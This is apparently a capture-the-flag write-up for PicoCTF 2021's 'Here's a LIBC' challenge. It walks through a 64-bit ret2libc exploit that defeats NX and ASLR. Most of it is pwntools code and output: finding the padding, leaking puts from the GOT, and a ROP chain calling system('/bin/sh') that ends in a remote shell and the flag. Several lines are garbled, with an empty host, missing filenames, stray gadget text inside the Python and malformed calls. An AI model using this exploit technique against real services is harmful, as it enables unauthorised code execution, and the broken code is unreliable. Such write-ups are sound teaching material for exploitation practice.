Skip to content

Ret2libc 64 bits (NX & ASLR)


Exploiting a buffer overflow using ret2libc with ASRL and NX enabled.



Challenge : Here's a LIBC from PicoCTF 2021.

I am once again asking for you to pwn this binary.


We do not have access to the source code, however we have the binary and the libc.

Let's have a look at the binary :

$ pwn checksec vuln
[*] '.../picoctf/Heres_a_LIBC/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'

NX is enabled, so we can't run our shellcode on the stack. Also, ASLR is enabled on the remote TCP service.

To run the binary, I needed to remove a library with patchelf.

$ ls  vuln
$ ldd vuln (0x00007ffc9eded000) => ./ (0x00007f3b9fe00000)
        /lib64/ => /usr/lib64/ (0x00007f3ba03e0000)
$ ./vuln
Inconsistency detected by dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!

$ patchelf --remove-rpath /lib64/ vuln
$ ./vuln
WeLcOmE To mY EcHo sErVeR!

Let's try to calculate the size of the padding of the buffer overflow. Source code :

#!/usr/bin/env python3
from pwn import process, p64, cyclic, cyclic_find

PROGRAM = "./vuln"

def find_padding_size():
    proc = process(PROGRAM)
    pattern = cyclic(0xFF)

    proc.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n", pattern)

    core = proc.corefile
    seg_addr = int(f"0x{hex(core.fault_addr)[-8:]}", 16)

    return cyclic_find(seg_addr)

if __name__ == "__main__":
    padding = find_padding_size()
    print("Padding size:", padding)

Execution :

$ python3
[+] Starting local process './vuln': pid 105001
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 105001)
[+] Parsing corefile...: Done
Padding size: 136

We have a padding of 136 ! Now, we need to bypass NX and ASLR.

  1. To bypass NX, we will use ROPChains to execute our code.
  2. To bypass ASLR, we will leak the address of a function (in the GOT) to calculate the base address of libc and call the main function again to executes our final payload with the right offsets.

Source code :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, p64, u64, ELF

0x0000000000400913: pop rdi; ret;
0x000000000040052e: ret;

HOST, PORT = "", 24159

vuln = ELF("./vuln")
libc = ELF("./")

# Gadgets
pop_rdi  = p64(0x0000000000400913)
ret      = p64(0x000000000040052e)
puts_plt = p64(vuln.plt['puts'])
main_plt = p64(vuln.symbols['main'])
puts_got = p64(['puts'])

# Leak puts address inside libc
payload = b"A" * PADDING
payload += pop_rdi
payload += puts_got
payload += puts_plt
payload += main_plt

# Send the first ROP
proc = remote(HOST, PORT)
proc.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!", payload)

# Parse puts address from stdout 
puts_addr = proc.recvline().strip().ljust(8, b'\x00')
print(f"puts_addr: {puts_addr}")

# Calculate libc base address (offset diff)
libc.address = u64(puts_addr) - libc.symbols['puts']
bin_sh   = p64(next('/bin/sh')))
system   = p64(libc.symbols['system'])

# Send the second ROP with the right offsets, system('/bin/sh')
payload = b"A" * PADDING
payload += ret # stack alignment, The MOVAPS issue on
payload += pop_rdi
payload += bin_sh
payload += system


Execution :

$ python3
puts_addr: b'0Zy\x07\x18\x7f\x00\x00'
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
$ id
uid=1560(here-s-a-libc_5) gid=1561(here-s-a-libc_5) groups=1561(here-s-a-libc_5)
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_cf205091ad15ab6d}[*] Got EOF while reading in interactive
[*] Closed connection to port 24159